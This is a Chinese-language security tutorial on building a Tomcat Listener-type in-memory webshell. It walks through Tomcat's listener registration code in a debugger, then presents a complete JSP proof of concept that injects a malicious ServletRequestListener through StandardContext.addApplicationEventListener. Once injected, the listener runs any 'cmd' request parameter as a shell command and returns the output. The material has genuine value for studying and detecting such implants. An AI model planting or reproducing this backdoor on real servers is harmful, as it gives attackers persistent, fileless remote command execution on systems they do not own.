参考文章:
https://xz.aliyun.com/news/13078
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Listener%E5%9E%8B/
https://xz.aliyun.com/news/13080
https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md
0x01 关于Listener监听器

从上面的图片以及之前介绍servlet处理逻辑的时候可以知道,当我们发送请求的时候的顺序是Listener->Filter->Servlet,Listener是最先被加载的
在 Java Web 中,Listener(监听器)是一类用于监听和响应 Web 应用中发生的特定事件 的组件。它是一种 事件驱动机制,可以让开发者在事件发生时自动执行一些逻辑,而无需手动调用。
在tomcat
中,常见的Listener
有以下几种:
- ServletContextListener :用来监听整个
Web
应用程序的启动和关闭事件,需要实现contextInitialized
和contextDestroyed
这两个方法
- HttpSessionListener:用来监听
HTTP
会话的创建和销毁事件,需要实现sessionCreated
和sessionDestroyed
这两个方法
- ServletRequestListener:用来监听
HTTP
请求的创建和销毁事件,需要实现requestInitialized
和requestDestroyed
这两个方法
- HttpSessionAttributeListener:监听
HTTP
会话属性的添加、删除和替换事件,需要实现attributeAdded
、attributeRemoved
和attributeReplaced
这三个方法。
从上面不难看出,使用ServletRequestListener是最适合用来做内存马的了,因为只要发送了http请求他都会触发监听
0x02 实现Listener的Demo
我们先看看ServletRequestListener接口需要实现的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
package javax.servlet;
import java.util.EventListener;
public interface ServletRequestListener extends EventListener { default void requestDestroyed(ServletRequestEvent sre) { }
default void requestInitialized(ServletRequestEvent sre) { } }
|
requestInitialized:在request对象创建时触发
requestDestroyed:在request对象销毁时触发
然后写个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package org.example;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;
public class TestListener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("initial TestListener"); }
@Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("destroyed TestListener"); } }
|
然后在web.xml中添加监听器
1 2 3
| <listener> <listener-class>org.example.TestListener</listener-class> </listener>
|
然后我们运行起来看看呢

这里的话之前写的filter过滤器还在,自行忽略一下
0x03 从代码层面分析Listener运行的整体流程
分别在class和requestInitialized函数上分别打上断点

在函数调用栈中看到一个listenerStart函数,跟进看一下

1 2 3 4 5 6 7 8 9 10 11
| String[] listeners = findApplicationListeners(); Object[] results = new Object[listeners.length]; boolean ok = true; for (int i = 0; i < results.length; i++) { if (getLogger().isTraceEnabled()) { getLogger().trace(" Configuring event listener class '" + listeners[i] + "'"); } try { String listener = listeners[i]; results[i] = getInstanceManager().newInstance(listener);
|
可以看到listener是来源于listeners,然后这个listeners是通过调用findApplicationListeners函数来的,随后用newInstance去实例化监听器

这里可以看出是在实例化我们刚刚写的TestListener,接下来会遍历得到的results中的listener,根据不同类型放入不同的数组中

1 2 3 4 5 6 7 8 9 10 11 12 13
| List<Object> eventListeners = new ArrayList<>(); List<Object> lifecycleListeners = new ArrayList<>(); for (Object result : results) { if ((result instanceof ServletContextAttributeListener) || (result instanceof ServletRequestAttributeListener) || (result instanceof ServletRequestListener) || (result instanceof HttpSessionIdListener) || (result instanceof HttpSessionAttributeListener)) { eventListeners.add(result); } if ((result instanceof ServletContextListener) || (result instanceof HttpSessionListener)) { lifecycleListeners.add(result); } }
|
这里的话可以看到我们的ServletRequestListener是放入eventListeners的
继续往下看

1 2
| eventListeners.addAll(Arrays.asList(getApplicationEventListeners())); setApplicationEventListeners(eventListeners.toArray());
|
调用getApplicationEventListeners()方法去返回当前注册的监听器applicationEventListenersList中的值,然后将数组转化成列表并将内容添加到eventListeners中,我们跟进getApplicationEventListeners看看
1 2 3 4
| @Override public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
|
很简单,就是将applicationEventListenersList转化成数组,但是调试之后发现这里是空的

在 Tomcat 或类似 Java Web 容器 中,applicationEventListenersList
通常是一个 List,用来存放 当前 Web 应用注册的所有事件监听器对象实例。
从这里其实可以看出,tomcat中的listener主要有两个来源,一个是来源于web.xml或者注解@WebListener
实例化得到的listener,一个就是从applicationEventListenersList中实例化listener,那我们只要在applicationEventListenersList中添加listener就可以实现动态注册listener监听器了
然后我们来到第二个断点

在函数调用栈中看到一个fireRequestInitEvent函数

在fireRequestInitEvent()函数中可以看到这里先是用getApplicationEventListeners函数去获取监听器实例对象instances,随后遍历instances并调用每个监听器对象的requestInitialized方法。
0x04 Listener内存马实现
从上面的分析我们可以知道,只要能获取到applicationEventListenersList并在applicationEventListenersList中添加listener就可以实现动态注册了,那是否有像之前一样的add函数呢?当然有啦
在org.apache.catalina.core.StandardContext类中的addApplicationEventListener方法
1 2 3
| public void addApplicationEventListener(Object listener) { applicationEventListenersList.add(listener); }
|
这里教大家怎么找啊,我们直接定位到那个变量applicationEventListenersList,然后在所有位置查找用法

然后就可以看到这个变量被用到的地方了
所以我们的Listener内存马实现步骤:
- 继承并编写一个恶意Listener
- 获取StandardContext
- 调用
StandardContext.addApplicationEventListener()
添加恶意Listener
最终的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class listenershell implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd"); if (cmd != null) { boolean islinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { islinux = false; } String[] cmdArray = islinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd}; try{ InputStream in = Runtime.getRuntime().exec(cmdArray).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; Field rep = req.getClass().getDeclaredField("request"); rep.setAccessible(true); Request request = (Request) rep.get(req); request.getResponse().getWriter().write(output); } catch (IOException e){ } catch (NoSuchFieldException e){ } catch (IllegalAccessException e){} } } } %> <%
Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); listenershell listenershell = new listenershell(); standardContext.addApplicationEventListener(listenershell); out.println("inject success"); %>
|
访问listenershell.jsp之后随便发送一个请求并传入cmd参数执行命令就可以了
这个内存马的话操作不多,就一个addApplicationEventListener添加listener对象,就不再赘述了